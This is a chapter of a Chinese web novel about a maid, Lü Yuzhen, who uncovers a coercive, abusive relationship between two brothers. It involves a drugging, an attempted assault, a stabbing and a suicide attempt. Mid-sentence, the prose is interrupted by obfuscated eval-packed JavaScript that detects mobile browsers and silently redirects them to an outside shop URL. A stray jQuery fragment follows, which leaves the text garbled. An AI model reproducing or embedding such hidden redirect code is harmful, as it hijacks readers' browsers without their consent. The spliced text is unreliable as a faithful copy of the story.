22. 兄弟之秘
    “酒放在窗户边的木桌上吧。”

    “是。”吕玉真将酒放到了桌上,回过头,却瞧见刘景在取架子上得酒杯。

    “我这院子难得有生人来,兄长既让你来送酒,定是极信任你的,我还从未见过兄长如此信任身边之人。”

    他这话说得奇怪,吕玉真不禁问道:“大少爷最信任之人不应当是景少爷吗?还有三小姐,你们是血浓于水的兄妹,奴婢不过是个外人而已。”

    刘景拿了两个杯子,坐到了窗前,一个放在自己跟前,一个则放到了对面。

    “坐吧,陪我喝一杯。”

    他突然招呼吕玉真喝酒,吕玉真不明所以,但依旧坐下了。

    “这是兄长最爱的竹叶青,你尝尝,味道如何。”

    刘景亲自替吕玉真斟了杯酒,但自己却并没有喝。

    吕玉真挑眉瞧着,不禁问道:“大少爷说这是二少爷最爱的酒。”

    刘景这才给自己斟了一杯,也只是轻轻抿了一口。

    “他这么和你说得?也对,他向来自以为是。”

    “……”

    吕玉真听糊涂了,难不成刘景其实不爱喝竹叶青,爱喝这酒的是刘阳自己。

    但刘阳的酒量,连奈何客栈的孟婆醉都是喝了一杯就倒,这竹叶青的酒劲可比孟婆醉厉害多了。

    “姑娘不喝吗?”

    刘景轻声细语催促着,吕玉真也不客气,直接一口往嘴里倒了进去。

    或许是她喝酒的方式太过粗鲁,刘景的眉头几不可见地皱了起来。

    “你果然是他的人,喝酒的方式都和他一模一样。”

    这话怎得如此奇怪?

    “他是?”吕玉真试探地问道。

    “兄长,他也爱这么喝酒,他说这么喝酒比较快。”话音断了片刻,刘景抬眸,神情复杂地看着吕玉真。

    他忽得一杯一杯喝起了竹叶青,满满一坛子酒都快被他喝光了。

    夜风微凉,他好似有些醉了,脸颊泛起红晕,瞧着更俊美了。

    吕玉真看着他醉酒的脸蛋,不禁感慨这少年长得真好看,肤白胜雪,就是太阴柔了些。

    他的眉眼和李嫣很像,但那周遭的气质却像极了柳如,甚至那双眼睛,醉酒之后,和她还有些相似。

    吕玉真忽然间发现,除了她以为,和刘阳有瓜葛的女子,长得和刘景都有些类似。

    她脑子里猛然生出一个荒唐的想法,但很快就被打断了。

    刘景自顾自说道:“你不是什么新来的丫鬟吧,你是柳如吧。”

    “……”这想法也太离谱了吧……这景少爷的脑子,未免跳得太快了些?这怎么判断她是柳如的?

    刘景又垂下了眼,默默地喝了杯酒,方道:“他说你长得很像我,他说错了,你和我一点都不像,你就像是山间的云,自由随性,而我,不过是被困在这宅子里的囚鸟。”

    刘景应当是真的喝醉了,自言自语地说些乱七八糟的话,若不是吕玉真听力不错,都快听不见他说得话了。

    “他说你怀孕了,方才我探你脉搏,你并未有孕,他果然还是在骗我,我竟会相信他是真的身不由己。”

    “……”纯粹有病吧,这两兄弟!

    “他还是喜欢骗我,从小到大,都是这样。”

    大哥,他就是在骗你呀大哥,怀孕的是你母亲,不是你嫂子!

    吕玉真真是要崩溃了,她心里哭笑不得,但说出来的话,却是另一番语气。

    “二少爷误会了,我不是柳小姐,我真的只是来送酒的。”

    她都解释道如此清楚了,刘景却依旧沉浸在自我感受中,丝毫不信吕玉真所言,固执地觉得她就是柳如。

    他自嘲地笑了笑:“你果然和他一样,到现在都还在骗我,不过没关系,马上,他就会后悔了。”

    “嗯?”

    吕玉真皱着眉,实在搞不懂他是何意,困顿的眼神落在刘景眼底,他却忽然笑了。

    那笑容怎么看怎么慎得慌,吕玉真觉着不妙,方才反应过来,那酒的味道不对!

    “你在酒里下了毒?”她忽得站了起来,脚步踉跄,身形好似不稳。

    “是迷药而已,嫂嫂,既然兄长喜欢你,那我又怎么能让他好过。”

    他病态得像是痴狂一般,吕玉真眸光一沉,思绪却是异常清明。

    这可是她的探魂,她怎么可能会中毒?刘景以为她是中了药,连站都站不稳,但却不知,她不过是不胜酒力。

    但吕玉真还是很配合地“晕”了过去。

    闭眼的刹那,刘景一把抱住了她。

    “嫂嫂真的是个美人,难怪兄长喜欢你,只可惜,谁让兄长喜欢你呢。”

    他自言自语的,竟抱着吕玉真,走向了床榻。

    刘阳神色迷离,坐在床榻旁,一双眼里竟然生出了丝情欲,吕玉真看不到,但心里慌得要命。

    她也不是傻子,这刘景说这些莫名其妙的话,做这些莫名其妙的事,她就算不想歪都难。

    果然那刘景不怀好意,一只手抚上了她的眼,像是摸着什么心爱的物件般。

    “嫂嫂,他既毁了我,又要那所谓的名声,这世上哪有这么便宜的事。反正他说以后你和他的孩子就是我的孩子,那我就先和你生个孩子,这样岂不是亲上加亲,嫂嫂放心,兄长绝对会愿意的。”

    这是什么意思?还不会是字面意思吧?吕玉真心里掀起惊涛骇浪,刘景那小子竟欲对他行不轨之事!

    再这样下去,她就要折在这了!那刘景都已经开始对她动手动脚了!

    她手中已经捏出了一道符咒,下一刻,屋门却被一脚踹了开来!

    刘景手上的动作一顿,衣衫不整地回眸,看着那立于眼前的身影。

    “兄长来了?来找嫂嫂?还是来看我与嫂嫂春宵一刻?”

    “阿景!”刘阳冲了过来,一把拽起刘景的衣领,眼中生了怒气,但也只是一瞬,更多的是为难和宠溺。

    他终究是不舍得责备刘景,无可耐地放开了他。

    刘景苦笑一声,道:“兄长果然很在乎嫂嫂,我只不过派人和你说,嫂嫂在我这,你就火急火燎赶来了。”

    原来他方才是派屋外的小厮去传话了。

    刘阳哀叹一声,将他从地上拽起,替他穿好了外衣。

    “阿景,我同你说过的,不要动她,她虽然是你嫂嫂,但我最爱的只有你一人,等我与她生了孩子,刘家有了香火,我就寻个理由休了她。”

    “兄长,为什么是你和嫂嫂的孩子,不能是我和嫂嫂?你不是只爱我吗?那你让给我。”

    “你胡说些什么!”刘阳似有些生气了,“你是要和别的女人有瓜葛吗?你喜欢她?那我呢?”

    刘景抬眸瞧他,眼底竟毫无情感,只有淡漠。

    “兄长啊兄长,你真的很自私,也很恶心,我这辈子都不可能会爱你。”

    “你闭嘴!”

    刘阳像是疯了般,死死抱着刘景,刘景反抗不得,只得任由他

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701485|143684||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    抱着。

    “答应我好吗,不要再任性了。”

    刘景并未有一言,刘阳以为他想开了,柔声道:“兄长答应你,只要你不离开我,你想要什么都可以,柳如我也可以让给你,可是我知道你不是爱她,你只是想让我生气。”

    他其实很懂刘景,刘景的的确确是想气他,可他又不懂刘景,因为刘景很恨他。

    匕首插入刘阳心脏的刹那,刘景眼里是前所未有的冷漠。

    “阿景,你为什么!”刘阳瞪大了眼,不可置信地看着手持匕首的刘景。

    刘景未有一言,只淡漠地拔出匕首,瞥过那倒在地上身影,突然间,将匕首一把刺向了自己!

    “不要!”

    刘阳的声音还在喉咙里,便有一道符袭来,他彻底的晕了过去。

    “真是麻烦,我躺了这么久,他们都没发现我不是柳如吗?”

    吕玉真一阵吐槽,将一颗丹药塞入刘景嘴里,替他护住了心脉。

    “我真是倒霉,次次探魂都出意外,这下好了两颗护心丹全给一个人吃了。”

    她整理好衣裳,方才把奄奄一息的刘景扶到床边坐下。

    刘景并未昏迷意识也依旧清晰,他睁着眼,不可思议地目光始终落在吕玉真身上。

    “你到底是谁?”

    他终于相信自己不是柳如了,吕玉真欣慰极了。

    “我是大少爷的丫鬟呀,不过没想到大少爷和二少爷都是这么变态的人,如今又发现了两位少爷的秘密,看来这丫鬟我是做不了了,得赶紧逃命去。”

    刘景敛着眼,半晌不置一言,那眼神好像在说:“你看我信吗?”

    吕玉真可不管他信不信,捡起地上刘景散落的腰带,将虚弱的刘景绑在了床上。

    “小样儿,还敢对姑奶奶图谋不轨。说吧,你和刘阳,到底什么关系?”

    刘景沉默半晌,终究是开了口,道:“我和他,是兄弟,同父异母,但也不仅仅是兄弟,他有龙阳之好……”

    他又沉默了,想来是难以启齿。

    吕玉真却是大大方方地说道:“看出来了,你俩这关系,真是刺激啊。你恨他,是因为他逼你?”

    刘景看了眼地上的刘阳:“是,他一直在逼我,从十二岁开始,他就强迫我同他发生了关系,我有一个喜欢的姑娘,她和你长得很像,他知道后,就侮辱了她,我恨不得杀了他!是他,是他毁了我的一切!”

    “可你为什么手下留情了?那一匕首,根本没有伤及要害。”

    刘景自嘲一笑:“你说可不可笑,我居然不舍得杀他,我居然会不舍得杀他,是他把我从母亲手底下救下来的,相处久了,我居然对他有了依恋,我真的恶心极了!”

    他像是个破碎的瓷器,下一秒就会香消玉殒,吕玉真多少生出了些同情。

    “这不是你的错,你也不必觉得自己恶心。刘景,因为你的善良,才会一再忍让,之前你也没有真的想对我做什么,只不过是为了逼他来见你,你想杀了他。”

    吕玉真一语道破了他的心事。

    “我是个没用的人,护不住自己所爱之人,谢谢你安慰我,还请姑娘好人做到底,杀了我。”

    这人怎么这么想死的,吕玉真好不容易把他救活,怎么可能让他死。

    “死那就别想了,你还是想想怎么报答我的救命之恩吧。”

    刘景不解,吕玉真搬了个椅子,在他对面坐着:“来吧,景少爷,说说你们母子三人之间的故事。”